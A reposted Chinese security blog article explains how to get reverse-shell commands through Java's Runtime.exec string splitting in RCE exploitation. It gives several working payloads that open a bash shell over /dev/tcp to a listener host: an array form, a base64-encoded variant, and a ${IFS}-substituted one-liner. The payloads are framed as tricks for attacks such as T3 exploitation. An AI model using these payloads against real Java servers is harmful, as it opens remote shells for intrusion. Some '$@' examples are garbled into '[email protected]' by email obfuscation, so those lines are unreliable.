实战中关于Runtime反弹shell的Bypass
2022-11-27 22:20:0 Author: xz.aliyun.com(查看原文) 阅读量:17 收藏

前言

前面我们已经详细的跟进了一下JDK下Runtime#exec下的源码,知道了在使用Runtime.getRuntime().exec方法这个方式进行命令执行的最终会来到ProcessBuilder#start方法中进行命令执行

而我们可以观察到在ProcessBuilder类的构造方法中

针对传入的参数,限制了只能传入一个List对象或者一个数组

所以响应的Runtime#exec在传入的是一个字符串的时候,将会在将命令传入ProcessBuilder类之前,根据其中的逻辑进行分割成数组进行传入

但是在这种情况下,将会导致在执行一些bash命令的时候将命令的本意给更改,会造成命令执行不成功的情况

这里就是通过Fuzzing等手段进行Bypass这种限制使得能够成功执行命令,同时列出了几种这种情况的命令执行

绕过方法

传入数组参数

既然传入字符串的方式进行命令执行,会被限制,我们转而可以通过传入数组的形式进行绕过,前面也已经分析了,传入数组的方式是不会存在有分割的情况

Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"})

使用Base64编码

如果限制了,只能够传入的字符串进行命令执行

这里就可以将需要执行的命令进行Base64编码,之后通过linux下的管道符进行base64解码之后进行命令执行

Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODAwMCAwPiYx}|{base64,-d}|{bash,-i}")

Bypass原生exec

如果是既限制了必须传入字符串,又限制了命令执行的长度,上面两种方法就不太适用了

我们就需要寻找到一个能够直接传入原生的命令进行执行,这里也是本文的重点分析的点

根据之前文章的分析,主要是通过StringTokenizer类根据\t\n\r\f等字符进行分割的

首先我们调试下

我们希望执行的命令是bash -i >& /dev/tcp/192.168.153.1/8000 0>&1这条命令进行反弹shell

但是经过分割得到了

这样的命令,当然不能够反弹shell

如果想要绕过,我么就需要找到在linux的bash环境下和StringTokenizer类中的有关空格的\t\n\r\f这些字符之间的解析差异,达到在StringTokenizer类中不能够识别为空格,但是在bash环境中识别为空格

如果玩过CTF的朋友,就会觉得,这不就是个空格的Bypass RCE嘛

的确是的,我们根据在bash环境下的空格替代符来尝试性构造

${IFS} Bypass

${IFS}这个是在CTF中常用的绕过空格的一种方法,能够在bash中替代空格

我们将反弹shell命令中的所有空格都使用${IFS}进行替代

之后T3协议发送数据包

???shell没有反弹成功??

我们转而在bash中尝试下是否能够反弹shell

不能,而且报了一个错

但是这里只需要将最后的${IFS}去掉就能够成功在bash中反弹shell

但是,这样不能通过Runtime#exec的方法进行shell的反弹啊,我们就需要找到在这里不需要空格的方式

这里就需要对文件描述符和重定向有一定的了解了

< : 对应标准输入

> : 对应标准输出

2> : 对应标准错误输出

对于反弹shell中的命令串中的

>&就是将标准输出和标准错误输出重定向到对应文件中,而在后面的0>&1就是将标准输入重定向到了标准输出中

在反弹shell的原理中

0>&10<&1是等价的,都达到了同一个效果--将标准输入重定向到了标准输出中

我们知道在> / <这两个符号也变像是1 / 0这两个描述符的一种替代

我们这里就可以将0给去掉,直接使用<&1进行将标准输入重定向标准输出中,达到同样的效果,且能够避免使用空格

综上:

可以通过/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.153.1/8000<&1 进行反弹

能够反弹shell

$IFS$9

同样可以使用这个作为分隔符进行绕过

$IFS

使用这个也可以进行绕过

[email protected]

https://blog.csdn.net/whatday/article/details/107098353中

师傅找到了[email protected]$*这两种方法来绕过

这两个方式都能够获取脚本文件的参数列表

在文章中给出了一个实例

/bin/bash -c '[email protected]|bash' xx echo ls

使用这种方式是能够执行ls命令的,也就是[email protected]获取了echo ls然后通过管道符执行命令ls

也能够通过这种方式反弹shell


文章来源: https://xz.aliyun.com/t/11895
如有侵权请联系:admin#unsafe.sh